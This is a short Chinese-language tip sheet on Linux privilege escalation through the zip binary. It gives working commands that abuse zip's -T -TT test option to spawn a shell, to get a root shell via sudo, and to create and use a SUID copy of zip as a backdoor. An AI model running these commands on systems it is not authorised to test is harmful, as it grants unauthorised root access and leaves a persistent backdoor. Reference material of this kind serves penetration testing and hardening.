Linux下的二进制文件提权-zip

前言

二进制文件提权TIPS

得到一个shell

1
2
3
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF

权限提升(超级权限下的sudo)

1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

受限制的SUID

如果二进制文件的SUID位置1,则可以利用它来访问文件系统,升级或维护具有SUID后门功能的提升权限的访问。如果用于运行命令(例如,通过system()-like调用),则它只能在Debian(<= Stretch)之类的系统上运行,这些系统允许默认shshell以SUID特权运行。

1
2
3
4
5
sudo sh -c 'cp $(which zip) .; chmod +s ./zip'

TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

(本示例创建二进制文件的本地SUID副本并运行它以维护提升的特权。要利用现有的SUID二进制文件,请跳过第一个命令,并使用其原始路径运行该程序。)